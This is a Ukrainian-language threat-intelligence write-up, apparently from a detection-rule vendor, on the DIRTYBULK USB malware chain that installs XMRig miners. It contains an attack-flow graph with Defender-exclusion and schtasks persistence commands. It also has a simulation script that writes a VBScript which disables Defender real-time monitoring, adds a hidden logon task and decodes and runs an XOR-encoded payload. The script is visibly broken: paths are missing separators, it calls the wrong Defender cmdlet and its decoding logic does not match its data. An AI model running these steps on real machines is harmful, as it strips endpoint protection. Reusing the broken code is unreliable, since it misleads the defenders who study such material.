DIRTYBULK і друзі: USB-зловмисне програмне забезпечення, яке живить майнінгові операції
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У звіті детально описано кампанію зараження, що використовує USB-носії та шкідливі файли-ярлики для розповсюдження багатоступінчастого ланцюга зловмисного програмного забезпечення для майнінгу криптовалют. Початкове виконання підвантажує DLL з ім’ям printui.dll із фіктивної директорії System32, потім передає роботу дроперу (CUTFAIL), далі запускаючи завантажувач (HIGHREPS) та бекдор (PUMPBENCH). Бекдор PUMPBENCH зв’язується з сервером PostgreSQL для отримання додаткових корисних навантажень і в результаті запускає майнери XMRig. Операція підтримує стійкість через виключення у Windows Defender, заплановані завдання та шахрайські сервіси.
Аналіз
Дослідники Mandiant розібрали ланцюг атак і підкреслили чотири основні родини зловмисного програмного забезпечення: DIRTYBULK, CUTFAIL, HIGHREPS і PUMPBENCH. Вони зафіксували шаблони назв файлів акторів, зловживання побічним підвантаженням DLL printui.dll, зміни в реєстрі та пов’язані мережеві показники. Аналіз також розкриває методи збереження стійкості, включаючи заплановані завдання та сервіси, пов’язані з групою сервісів DCOMLaunch.
Пом’якшення
Рекомендовані засоби захисту включають блокування виконання файлів-ярликів, що походять з переносних медіа, моніторинг команд, що додають виключення у Windows Defender, виявлення підозрілої діяльності з побічним підвантаженням printui.dll та пошук сервісів або запланованих завдань, що використовують випадкові шестизначні назви. Застосування мережевих контрольних механізмів проти відомих шкідливих доменів і DoH розв’язників може додатково обмежити канали командування і управління.
Відповідь
Як тільки виявлено, ізолюйте уражений хост, видаліть шкідливий DLL і пов’язані компоненти, видаліть образливі заплановані завдання і записи сервісів, а також відновіть налаштування Windows Defender, видаливши виключення. Проведіть комплексне судово-медичне сканування для виявлення залишкових навантажень і відстеження зв’язків з визначеною інфраструктурою C2 PostgreSQL. Нарешті, оновіть контент виявлення, щоб охопити спостережувані командні рядки та поведінку створення файлів.
graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Початкова інфекція через знімний носій node_usb_insert[“<b>Дія</b> – <b>T1674 Вставка даних</b>: Жертва вставляє USB з шкідливою ярликом”] class node_usb_insert action node_lnk[“<b>Файл</b> – <b>Шкідливий ярлик</b> (USB Drive.lnk)”] class node_lnk file node_wscript[“<b>Інструмент</b> – <b>wscript.exe</b>: Виконує VBScript”] class node_wscript tool node_vbs[“<b>Файл</b> – <b>VBScript</b> (x??????.vbs)”] class node_vbs file node_shortcut_mod[“<b>Дія</b> – <b>T1547.009 Зміна ярлика</b>: LNK використовується для збереження присутності”] class node_shortcut_mod action %% Маскування і side-loading node_masq_dir[“<b>Файл</b> – <b>Фальшивий каталог</b> C:\\Windows<space>\\System32 (з пробілом в кінці)”] class node_masq_dir file node_printui_exe[“<b>Процес</b> – <b>printui.exe</b> (легітимний)”] class node_printui_exe process node_printui_dll[“<b>Файл</b> – <b>printui.dll</b> (шкідливий)”] class node_printui_dll file node_dll_hijack[“<b>Дія</b> – <b>T1574.001 Перехоплення виконання: DLL</b>”] class node_dll_hijack action %% Ухилення від захисту через PowerShell профіль node_ps_exclusion[“<b>Команда</b> – Add‑MpPreference -ExclusionPath \”C:\\Windows <space>\””] class node_ps_exclusion command node_ps_profile[“<b>Дія</b> – <b>T1546.013 PowerShell профіль</b>: Виконує команду виключення”] class node_ps_profile action %% Постійна присутність через сервіс та заплановане завдання node_service_create[“<b>Дія</b> – <b>T1543.003 Створення сервісу Windows</b>”] class node_service_create action node_service[“<b>Сервіс</b> – <b>123456</b> створений під DcomLaunch з ServiceDll”] class node_service service node_scheduled_task[“<b>Команда</b> – schtasks /create /tn \”console_zero\” /sc ONLOGON /tr \”C:\\Windows\\System32\\console_zero.exe\” /rl HIGHEST /f”] class node_scheduled_task command node_task_action[“<b>Дія</b> – <b>T1037.001 Сценарій входу</b>: Запускає console_zero.exe під час входу користувача”] class node_task_action action %% C2 розв’язання через DoH і fast flux node_doh[“<b>Інструмент</b> – DNS-over-HTTPS запити до dns.google”] class node_doh tool node_fastflux[“<b>Дія</b> – <b>T1568.001 Fast Flux DNS</b> та <b>T1568.003 DNS розрахунок</b>”] class node_fastflux action %% Використання ресурсів – майнінг криптовалюти node_xmrig[“<b>Шкідливе ПЗ</b> – XMRig майнер”] class node_xmrig malware node_mining[“<b>Дія</b> – <b>T1496.001 Використання ресурсів</b>: Майнинг криптовалюти на скомпрометованій машині”] class node_mining action %% Зв’язки node_usb_insert –>|містить| node_lnk node_lnk –>|виконує| node_wscript node_wscript –>|запускає| node_vbs node_vbs –>|створює фальшивий каталог| node_masq_dir node_vbs –>|копіює легітимний виконуваний файл| node_printui_exe node_vbs –>|замінює DLL на шкідливу версію| node_printui_dll node_printui_exe –>|завантажує| node_dll_hijack node_dll_hijack –>|завантажує шкідливу DLL| node_printui_dll node_printui_dll –>|тригерить| node_ps_exclusion node_ps_exclusion –>|виконується через| node_ps_profile node_ps_profile –>|створює| node_service_create node_service_create –>|створює| node_service node_service –>|вмикає| node_scheduled_task node_scheduled_task –>|запускається під час входу| node_task_action node_task_action –>|завантажує адресу C2 через| node_doh node_doh –>|використовує| node_fastflux node_fastflux –>|надає адресу для| node_xmrig node_xmrig –>|виконує| node_mining
Потік атаки
Виявлення
Аномальна кількість пробілів у назві процесу / командному рядку / шлях з файлами (через cmdline)
Переглянути
LOLBAS WScript / CScript (через process_creation)
Переглянути
Підозріле модифікування виключень Defender (через cmdline)
Переглянути
Можливе копіювання та перейменування системного виконуваного файлу для уникнення (через cmdline)
Переглянути
Вимкнення моніторингу в режимі реального часу Windows Defender та інші зміни преференцій (через cmdline)
Переглянути
Виконання симуляції
Передумова: перевірка на готовність телеметрії та базової лінії повинна бути успішною.
Причина: Цей розділ детально описує точне виконання техніки нападника (TTP), призначеної для активації правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і спрямовані на генерацію очікуваної телеметрії, очікуваної від логіки виявлення. Абстрактні або нерелевантні приклади можуть привести до неправильної діагностики.
-
Оповідання та команди атаки:
-
Етап 1 – Завантаження шкідливого VBScript на скомпрометований USB-диск (наприклад,
E:payload.vbs). Скрипт відключає реальний захист Windows Defender, використовуючиAdd‑MpPreference, зашифровує корисне навантаження за допомогою XOR-рутини, і створює заплановане завдання для стійкості. -
Етап 2 – Виконання скрипта через
wscript.exeбезпосередньо передаючи командний рядок збереження (щоб виконати кон’юнктивну умову правила). -
Етап 3 – Скрипт інтернально викликає PowerShell для запуску зашифрованого корисного навантаження, демонструючи “ланцюг інфекції”.
-
Етап 4 – Після виконання нападник очищає артефакти (видаляє скрипт, видаляє заплановане завдання).
-
-
Сценарій регресійного тестування:
# ------------------------------------------------------------ # Регресійний тест — симуляція ланцюга шкідливого зараження # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Створення XOR‑зашифрованого фіктивного корисного навантаження -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Запис шкідливого VBScript ------------------------------------------- @" ' Шкідливий VBScript — інфекційний ланцюг Set sh = CreateObject("WScript.Shell") ' Вимкнення захисту в реальному часі sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Створення запланованого завдання для стійкості sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Дешифрування та виконання корисного навантаження Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Виконання скрипта через wscript.exe (активація правила) ------------- wscript.exe "$scriptPath" /B # -- 4. (Опціонально) Зачекайте кілька секунд для запуску завдання ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Очищення — видалення скрипту та запланованого завдання # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Команди очищення:
# Видаліть залишкове заплановане завдання (якщо ще присутнє) schtasks /Delete /TN "WinUpdateTask" /F # Видаліть будь-які залишкові файли скриптів Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Увімкніть захист у реальному часі powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"